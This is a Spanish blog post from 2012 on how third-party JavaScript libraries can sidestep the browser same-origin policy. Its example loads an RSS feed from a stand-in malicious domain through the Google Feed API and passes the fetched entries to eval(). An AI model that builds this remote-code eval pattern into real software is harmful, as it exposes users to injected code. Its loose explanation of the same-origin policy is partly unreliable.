17 junio 2012

Poniendo la política del mismo origen de JavaScript a 20 uñas

La política del mismo origen es un invento de los navegadores para restringir la ejecución de código proveniente de servidores ajenos, o en otras palabras, Cross-site scripting (XSS). Básicamente evita que cuando aprietas el botón que dice “LOGIN” alguien haya cambiado la propiedad onclick del botón para enviar tu usuario y contraseña a un servidor ajeno. Si el dueño de la página envía tus credenciales a otro servidor a conciencia entonces sí que estás jodido, así que en vez de preocuparse de ese caso, la idea es evitar que se ejecute código ajeno a la página sin que el dueño lo sepa. Suponiendo que un atacante no tiene la capacidad de cambiar el código del dueño legítimo de la página, en cuyo caso los problemas serían otros relacionados con el lado del servidor, lo importante es evitar que el código de otros en nuestra página, haga lo que haga, no pueda enviar nada a otro servidor. Básicamente es impedir que una librería incluida en la página a través de un:


<script src=”http://sitiomalicioso.info/meparto.js”></script>


Sea capaz de ir a otro servidor que no sea el mío y enviar alguna petición. Entonces, si en nuestro script hacemos algo como:

// make ajax call to external server
var xmlhttp = (window.XMLHttpRequest) ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("GET","http://google.com",true);
xmlhttp.send();

Nos va a denegar el acceso, salvo que trabajes en google y tu script esté alojado en el mismo dominio, en cuyo caso no sé qué haces leyendo esto. El problema está en que la dichosa política, implementada en todos los navegadores que conozco, es muchas veces un inconveniente de los grandes. ¿Qué pasa si quieres hacer algo tan sencillo e inofensivo como mostrar al usuario el contenido de otra página ajena a tu servidor sin que tengan que salir de tu página? Pues no puedes hacer una llamada de ajax así por las buenas, tendrás que hacer una llamada de ajax a TU servidor, y desde el servidor hacer un file_get_contents() para después devolver esos datos a tu página y mostrarlos al usuario.


MI PÁGINA -> MI SERVIDOR -> SERVIDOR EXTERNO -> MI SERVIDOR -> MI PÁGINA

Creo que es evidente que este funcionamiento es innecesariamente enrevesado pero oye, todo sea en pos de la seguridad, ¿no? Al menos estaremos seguros de que, si me descargo una librería de javascript y la pongo en mi servidor, esa librería no podrá comunicarse con otro servidor que no sea el mío, ¿verdad? Pues va a ser que no.

Sin entrar en detalles sobre cómo lo hacen, no por no aburrir al lector, sino por propio desconocimiento por mi parte, hay ciertas librerías de javascript que sí se comunican con servidores externos sin pasar por tu servidor. Me da la impresión de que la manera de hacerlo es creando una página dinámica que, al usarla como fuente en el src del script, ejecuta parte del javascript en SU servidor y desde ahí ellos hacen sus llamadas ajax y demás, pero eso no es más que la única explicación que se me ocurría y realmente no tengo ni idea de cómo funciona. Por ejemplo, una de las librerías que hace eso, es la que usa Google Feed API. A continuación, un ejemplo:

// cache the feed info
var content = new Array();
var feed = new google.feeds.Feed(“
http://sitiomalicioso.info/rss.xml”);
feed.setNumEntries(10);
feed.load(function(result) {

// on load success
if (!result.error) {
for (var i = 0; i < result.feed.entries.length; i++) {  
var entry = result.feed.entries[i];
content[i] = entry.content;
}
}
});

Lo que el ejemplo anterior hace es cargar las últimas 10 entradas del RSS feed en http://sitiomalicioso.info/rss.xml, y guardar su contenido en la array content. Hasta aquí nada malicioso, de hecho es bastante interesante poder leer las entradas de un RSS sin necesidad de tener nada en el lado del servidor. Podríamos crear un lector de RSS completamente en el lado del cliente, muy al estilo de las webapps en HTML5 que tanto se llevan ahora. ¿Cuál es el problema entonces? Bueno, pues para los que no sean muy observadores, sitiomalicioso.info no es muy de fiar. Imagínate que el mismo tipo que es dueño de sitiomalicioso.info es la fuente de una de esas librerías javascript que utilizas. Ni siquiera debe tenerla alojada en su dominio. En el supuesto caso de que yo fuera suficientemente precavido como para no fiarme de su página y me hubiera copiado la librería de javascript a mi servidor, el script ya podría ser peligroso, solo necesita tener en alguna parte de la librería algo así como:

eval(content[x]);

Y si el contenido de la entrada x es código javascript ejecutable, la habré liado parda. Estaré ejecutando código javascript arbitrario que puede ser modificado por el atacante, y a tomar por saco la política del mismo origen. Por suerte, el dueño de sitiomalicioso.info no puede hacer ningún tipo de conexión de vuelta a su servidor así por las buenas, pero si tiene malas intenciones nos podría cambiar todos los atributos src de nuestras imágenes, por ejemplo. Dejo para la imaginación del lector otros posibles usos de algo así.

Lo peor de todo es, sin embargo, que sí hay maneras de enviar información al servidor malicioso, pero ya hemos tenido suficiente para esta entrada.

No hay comentarios:

Publicar un comentario